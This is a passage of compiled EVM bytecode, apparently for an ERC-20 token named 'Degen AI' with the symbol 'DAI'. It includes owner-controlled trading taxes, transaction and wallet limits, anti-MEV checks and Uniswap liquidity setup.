06103c260048036038101906103bd91906134e1565b610cfd565b005b3480156103cf575f80fd5b506103ea60048036038101906103e591906133f0565b610e15565b6040516103f791906132d9565b60405180910390f35b34801561040b575f80fd5b50610414610e5b565b005b348015610421575f80fd5b5061042a610f60565b604051610437919061352e565b60405180910390f35b34801561044b575f80fd5b50610454610f88565b005b348015610461575f80fd5b5061046a61106e565b604051610477919061352e565b60405180910390f35b34801561048b575f80fd5b50610494611095565b6040516104a191906131a8565b60405180910390f35b3480156104b5575f80fd5b506104be6110d2565b6040516104cb91906132d9565b60405180910390f35b3480156104df575f80fd5b506104fa60048036038101906104f59190613259565b6110db565b60405161050791906132b1565b60405180910390f35b34801561051b575f80fd5b50610536600480360381019061053191906133f0565b611137565b005b348015610543575f80fd5b5061054c61133b565b60405161055991906132d9565b60405180910390f35b34801561056d575f80fd5b50610576611344565b60405161058391906132d9565b60405180910390f35b348015610597575f80fd5b506105a061134d565b005b3480156105ad575f80fd5b506105c860048036038101906105c39190613547565b61144c565b6040516105d591906132d9565b60405180910390f35b3480156105e9575f80fd5b5061060460048036038101906105ff91906135be565b6114ce565b005b61060e61165d565b005b34801561061b575f80fd5b5061063660048036038101906106319190613670565b611a78565b005b348015610643575f80fd5b5061064c611b7e565b60405161065991906132d9565b60405180910390f35b60606040518060400160405280600881526020017f446567656e204149000000000000000000000000000000000000000000000000815250905090565b5f81600c5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161077a91906132d9565b60405180910390a36001905092915050565b5f6009600a61079b91906137f7565b64174876e8006107ab9190613841565b905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461083d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610834906138cc565b60405180910390fd5b80806108465750815b156108d65760135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16156108d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cc90613934565b60405180910390fd5b5b81600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550505050565b5f61098d84611b87565b6109cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c39061399c565b60405180910390fd5b81600c5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610a5391906139ba565b92505081905550610a65848484611c59565b90509392505050565b5f60035f9054906101000a900460ff16905090565b5f80600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1691509150915091565b5f6009905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bb7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bae906138cc565b60405180910390fd5b5f60016103e88461ffff166009600a610bd091906137f7565b64174876e800610be09190613841565b610bea9190613841565b610bf49190613a1a565b610bfe9190613a4a565b9050600554811015610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3c90613ac7565b60405180910390fd5b806005819055505f60016103e88461ffff166009600a610c6591906137f7565b64174876e800610c759190613841565b610c7f9190613841565b610c899190613a1a565b610c939190613a4a565b9050600654811015610cda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd190613b2f565b60405180910390fd5b8060068190555050505050565b5f600360019054906101000a900460ff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d81906138cc565b60405180910390fd5b60028183610d989190613b4d565b60ff161115610ddc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd390613bcb565b60405180910390fd5b81600360016101000a81548160ff021916908360ff1602179055508060035f6101000a81548160ff021916908360ff1602179055505050565b5f600b5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ee8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edf906138cc565b60405180910390fd5b5f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861635f604051610f56919061352e565b60405180910390a1565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611015576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100c906138cc565b60405180910390fd5b60145f9054906101000a900460ff1615611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b90613c33565b60405180910390fd5b61106c61232b565b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4441490000000000000000000000000000000000000000000000000000000000815250905090565b5f600854905090565b5f6110e533611b87565b611124576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111b9061399c565b60405180910390fd5b61112f338484611c59565b905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111bb906138cc565b60405180910390fd5b60135f8273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161561124e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124590613c9b565b60405180910390fd5b8060015f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600f5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f600754905090565b5f600554905090565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113d1906138cc565b60405180910390fd5b6009600a6113e891906137f7565b64174876e8006113f89190613841565b6005819055506009600a61140c91906137f7565b64174876e80061141c9190613841565b600681905550600160145f6101000a81548160ff0219169083151502179055504360048190555043600281905550565b5f600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461155b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611552906138cc565b60405180910390fd5b8363ffffffff168563ffffffff166009600a61157791906137f7565b64174876e8006115879190613841565b6115919190613841565b61159b9190613a1a565b6007819055508163ffffffff168363ffffffff166009600a6115bd91906137f7565b64174876e8006115cd9190613841565b6115d79190613841565b6115e19190613a1a565b60088190555066038d7ea4c680008163ffffffff166116009190613ccb565b66ffffffffffffff166009819055506007546008541015611656576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164d90613d51565b60405180910390fd5b5050505050565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e1906138cc565b60405180910390fd5b6001601460016101000a81548160ff0219169083151502179055505f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178b90613db9565b60405180910390fd5b60145f9054906101000a900460ff16156117e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117da90613c33565b60405180910390fd5b5f3411806117f057505f47115b61182f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161182690613e21565b60405180910390fd5b5f600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054116118ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118a590613e89565b60405180910390fd5b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611918573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061193c9190613ebb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f00000000000000000000000000000000000000000000000000000000000000006040518363ffffffff1660e01b8152600401611996929190613ee6565b6020604051808303815f875af11580156119b2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119d69190613ebb565b60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a5c600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20544761267c565b5f601460016101000a81548160ff021916908315150217905550565b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611b05576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afc906138cc565b60405180910390fd5b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611b739190613f68565b60405180910390a150565b5f600654905090565b5f805f905060145f9054906101000a900460ff1615611ba95760019050611c50565b600e5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611c455750600f5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611c4f57600190505b5b80915050919050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611cc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cbf90613fcb565b60405180910390fd5b60145f9054906101000a900460ff16611db757600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168015611d775750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b611db6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dad90614033565b60405180910390fd5b5b601460019054906101000a900460ff16158015611e1a575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611e2b5750611e2a82612753565b5b15611e3957611e386128bb565b5b60045443106120cf5760025443108015611e99575060135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15611f0d573273ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611f0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f039061409b565b60405180910390fd5b5b610258600254611f1d9190613a4a565b43108015611f71575060135f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b8015611fa957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120ce576001600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282829054906101000a900460ff166120169190613b4d565b92506101000a81548160ff021916908360ff1602179055506002600d5f4381526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1660ff1611156120cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c49061409b565b60405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561213757503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561218e57505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121de5761219e8484846129dd565b6121dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d490614103565b60405180910390fd5b5b5f6121ea858585612b65565b90505f81846121f991906139ba565b905083600b5f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461224791906139ba565b9250508190555081600a5f82825461225f9190613a4a565b9250508190555080600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546122b29190613a4a565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161231691906132d9565b60405180910390a36001925050509392505050565b60646009600a61233b91906137f7565b64174876e80061234b9190613841565b60026123579190613841565b6123619190613a1a565b60058190555060646009600a61237791906137f7565b64174876e8006123879190613841565b60026123939190613841565b61239d9190613a1a565b600681905550600a54600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461241291906139ba565b9250508190555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516124e19190614165565b5f604051808303815f865af19150503d805f811461251a576040519150601f19603f3d011682016040523d82523d5f602084013e61251f565b606091505b505060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8291906101000a81548160ff0219169083151502179055505060135f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16612643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161263a906141c5565b60405180910390fd5b4360048190555060045460025461265a9190613a4a565b600281905550600160145f6101000a81548160ff021916908315150217905550565b61268582612d2e565b60115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f8060105f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161270b9695949392919061421c565b60606040518083038185885af1158015612727573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061274c919061428f565b5050505050565b5f805f60095411156128ad575f600b5f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166370a0823160125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b815260040161283c919061352e565b602060405180830381865afa158015612857573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061287b91906142df565b90505f82828761288b9190613841565b6128959190613a1a565b905060095481106128a557600193505b5050506128b2565b600190505b80915050919050565b6001601460016101000a81548160ff0219169083151502179055505f600a54905060075481101580156128f9575060145f9054906101000a900460ff165b156129c057600854811061290d5760085490505b5f8190506009600a61291f91906137f7565b600161292b9190613841565b8111156129a75781600b5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461297e9190613a4a565b9250508190555061298e81612f10565b81600a5f82825461299f91906139ba565b925050819055505b5f4790505f8111156129bd576129bc816130b6565b5b50505b505f601460016101000a81548160ff021916908315150217905550565b5f806001905060145f9054906101000a900460ff168015612a455750600f5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612a985750600f5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612b5a57600554831115612aaf575f9050612b59565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015612b4f575060065483600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612b4d9190613a4a565b115b15612b58575f90505b5b5b809150509392505050565b5f8060145f9054906101000a900460ff161580612bc85750600e5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b80612c195750600e5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b15612c26575f9050612d23565b60135f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612ca6576064600360019054906101000a900460ff1660ff1684612c959190613841565b612c9f9190613a1a565b9050612d22565b60135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612d2157606460035f9054906101000a900460ff1660ff1684612d149190613841565b612d1e9190613a1a565b90505b5b5b809150509392505050565b80600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015612f0d577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff604051612f0491906132d9565b60405180910390a35b50565b612f1981612d2e565b5f600267ffffffffffffffff811115612f3557612f3461430a565b5b604051908082528060200260200182016040528015612f635781602001602082028036833780820191505090505b50905030815f81518110612f7a57612f79614337565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f000000000000000000000000000000000000000000000000000000000000000081600181518110612fe957612fe8614337565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060115f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b815260040161308595949392919061441b565b5f604051808303815f87803b15801561309c575f80fd5b505af11580156130ae573d5f803e3d5ffd5b505050505050565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f1935050505015801561311a573d5f803e3d5ffd5b5050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561315557808201518184015260208101905061313a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61317a8261311e565b6131848185613128565b9350613194818560208601613138565b61319d81613160565b840191505092915050565b5f6020820190508181035f8301526131c08184613170565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6131f5826131cc565b9050919050565b613205816131eb565b811461320f575f80fd5b50565b5f81359050613220816131fc565b92915050565b5f819050919050565b61323881613226565b8114613242575f80fd5b50565b5f813590506132538161322f565b92915050565b5f806040838503121561326f5761326e6131c8565b5b5f61327c85828601613212565b925050602061328d85828601613245565b9150509250929050565b5f8115159050919050565b6132ab81613297565b82525050565b5f6020820190506132c45f8301846132a2565b92915050565b6132d381613226565b82525050565b5f6020820190506132ec5f8301846132ca565b92915050565b6132fb81613297565b8114613305575f80fd5b50565b5f81359050613316816132f2565b92915050565b5f805f60608486031215613333576133326131c8565b5b5f61334086828701613212565b935050602061335186828701613308565b925050604061336286828701613308565b9150509250925092565b5f805f60608486031215613383576133826131c8565b5b5f61339086828701613212565b93505060206133a186828701613212565b92505060406133b286828701613245565b9150509250925092565b5f60ff82169050919050565b6133d1816133bc565b82525050565b5f6020820190506133ea5f8301846133c8565b92915050565b5f60208284031215613405576134046131c8565b5b5f61341284828501613212565b91505092915050565b5f60408201905061342e5f8301856132a2565b61343b60208301846132a2565b9392505050565b5f61ffff82169050919050565b61345881613442565b8114613462575f80fd5b50565b5f813590506134738161344f565b92915050565b5f806040838503121561348f5761348e6131c8565b5b5f61349c85828601613465565b92505060206134ad85828601613465565b9150509250929050565b6134c0816133bc565b81146134ca575f80fd5b50565b5f813590506134db816134b7565b92915050565b5f80604083850312156134f7576134f66131c8565b5b5f613504858286016134cd565b9250506020613515858286016134cd565b9150509250929050565b613528816131eb565b82525050565b5f6020820190506135415f83018461351f565b92915050565b5f806040838503121561355d5761355c6131c8565b5b5f61356a85828601613212565b925050602061357b85828601613212565b9150509250929050565b5f63ffffffff82169050919050565b61359d81613585565b81146135a7575f80fd5b50565b5f813590506135b881613594565b92915050565b5f805f805f60a086880312156135d7576135d66131c8565b5b5f6135e4888289016135aa565b95505060206135f5888289016135aa565b9450506040613606888289016135aa565b9350506060613617888289016135aa565b9250506080613628888289016135aa565b9150509295509295909350565b5f61363f826131cc565b9050919050565b61364f81613635565b8114613659575f80fd5b50565b5f8135905061366a81613646565b92915050565b5f60208284031215613685576136846131c8565b5b5f6136928482850161365c565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b600185111561371d578086048111156136f9576136f861369b565b5b60018516156137085780820291505b8081029050613716856136c8565b94506136dd565b94509492505050565b5f8261373557600190506137f0565b81613742575f90506137f0565b8160018114613758576002811461376257613791565b60019150506137f0565b60ff8411156137745761377361369b565b5b8360020a91508482111561378b5761378a61369b565b5b506137f0565b5060208310610133831016604e8410600b84101617156137c65782820a9050838111156137c1576137c061369b565b5b6137f0565b6137d384848460016136d4565b925090508184048111156137ea576137e961369b565b5b81810290505b9392505050565b5f61380182613226565b915061380c836133bc565b92506138397fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613726565b905092915050565b5f61384b82613226565b915061385683613226565b925082820261386481613226565b9150828204841483151761387b5761387a61369b565b5b5092915050565b7f4f6e6c79206f776e65722063616e2063616c6c207468697300000000000000005f82015250565b5f6138b6601883613128565b91506138c182613882565b602082019050919050565b5f6020820190508181035f8301526138e3816138aa565b9050919050565b7f43616e6e6f74206578656d7074204c50000000000000000000000000000000005f82015250565b5f61391e601083613128565b9150613929826138ea565b602082019050919050565b5f6020820190508181035f83015261394b81613912565b9050919050565b7f54726164696e67206e6f74206f70656e000000000000000000000000000000005f82015250565b5f613986601083613128565b915061399182613952565b602082019050919050565b5f6020820190508181035f8301526139b38161397a565b9050919050565b5f6139c482613226565b91506139cf83613226565b92508282039050818111156139e7576139e661369b565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613a2482613226565b9150613a2f83613226565b925082613a3f57613a3e6139ed565b5b828204905092915050565b5f613a5482613226565b9150613a5f83613226565b9250828201905080821115613a7757613a7661369b565b5b92915050565b7f747820746f6f206c6f77000000000000000000000000000000000000000000005f82015250565b5f613ab1600a83613128565b9150613abc82613a7d565b602082019050919050565b5f6020820190508181035f830152613ade81613aa5565b9050919050565b7f77616c6c657420746f6f206c6f770000000000000000000000000000000000005f82015250565b5f613b19600e83613128565b9150613b2482613ae5565b602082019050919050565b5f6020820190508181035f830152613b4681613b0d565b9050919050565b5f613b57826133bc565b9150613b62836133bc565b9250828201905060ff811115613b7b57613b7a61369b565b5b92915050565b7f526f756e647472697020746f6f206869676800000000000000000000000000005f82015250565b5f613bb5601283613128565b9150613bc082613b81565b602082019050919050565b5f6020820190508181035f830152613be281613ba9565b9050919050565b7f74726164696e67206f70656e00000000000000000000000000000000000000005f82015250565b5f613c1d600c83613128565b9150613c2882613be9565b602082019050919050565b5f6020820190508181035f830152613c4a81613c11565b9050919050565b7f4c502063616e6e6f74206265207461782077616c6c65740000000000000000005f82015250565b5f613c85601783613128565b9150613c9082613c51565b602082019050919050565b5f6020820190508181035f830152613cb281613c79565b9050919050565b5f66ffffffffffffff82169050919050565b5f613cd582613cb9565b9150613ce083613cb9565b9250828202613cee81613cb9565b9150808214613d0057613cff61369b565b5b5092915050565b7f4d696e2d4d6178206572726f72000000000000000000000000000000000000005f82015250565b5f613d3b600d83613128565b9150613d4682613d07565b602082019050919050565b5f6020820190508181035f830152613d6881613d2f565b9050919050565b7f4c502063726561746564000000000000000000000000000000000000000000005f82015250565b5f613da3600a83613128565b9150613dae82613d6f565b602082019050919050565b5f6020820190508181035f830152613dd081613d97565b9050919050565b7f4e6f2045544800000000000000000000000000000000000000000000000000005f82015250565b5f613e0b600683613128565b9150613e1682613dd7565b602082019050919050565b5f6020820190508181035f830152613e3881613dff565b9050919050565b7f4e6f20746f6b656e7300000000000000000000000000000000000000000000005f82015250565b5f613e73600983613128565b9150613e7e82613e3f565b602082019050919050565b5f6020820190508181035f830152613ea081613e67565b9050919050565b5f81519050613eb5816131fc565b92915050565b5f60208284031215613ed057613ecf6131c8565b5b5f613edd84828501613ea7565b91505092915050565b5f604082019050613ef95f83018561351f565b613f06602083018461351f565b9392505050565b5f819050919050565b5f613f30613f2b613f26846131cc565b613f0d565b6131cc565b9050919050565b5f613f4182613f16565b9050919050565b5f613f5282613f37565b9050919050565b613f6281613f48565b82525050565b5f602082019050613f7b5f830184613f59565b92915050565b7f4e6f207472616e73666572732066726f6d20302077616c6c65740000000000005f82015250565b5f613fb5601a83613128565b9150613fc082613f81565b602082019050919050565b5f6020820190508181035f830152613fe281613fa9565b9050919050565b7f54726164696e67206e6f7420796574206f70656e0000000000000000000000005f82015250565b5f61401d601483613128565b915061402882613fe9565b602082019050919050565b5f6020820190508181035f83015261404a81614011565b9050919050565b7f4d455620626c6f636b00000000000000000000000000000000000000000000005f82015250565b5f614085600983613128565b915061409082614051565b602082019050919050565b5f6020820190508181035f8301526140b281614079565b9050919050565b7f5458206f766572206c696d6974730000000000000000000000000000000000005f82015250565b5f6140ed600e83613128565b91506140f8826140b9565b602082019050919050565b5f6020820190508181035f83015261411a816140e1565b9050919050565b5f81519050919050565b5f81905092915050565b5f61413f82614121565b614149818561412b565b9350614159818560208601613138565b80840191505092915050565b5f6141708284614135565b915081905092915050565b7f4661696c656420626f6f747374726170000000000000000000000000000000005f82015250565b5f6141af601083613128565b91506141ba8261417b565b602082019050919050565b5f6020820190508181035f8301526141dc816141a3565b9050919050565b5f819050919050565b5f6142066142016141fc846141e3565b613f0d565b613226565b9050919050565b614216816141ec565b82525050565b5f60c08201905061422f5f83018961351f565b61423c60208301886132ca565b614249604083018761420d565b614256606083018661420d565b614263608083018561351f565b61427060a08301846132ca565b979650505050505050565b5f815190506142898161322f565b92915050565b5f805f606084860312156142a6576142a56131c8565b5b5f6142b38682870161427b565b93505060206142c48682870161427b565b92505060406142d58682870161427b565b915050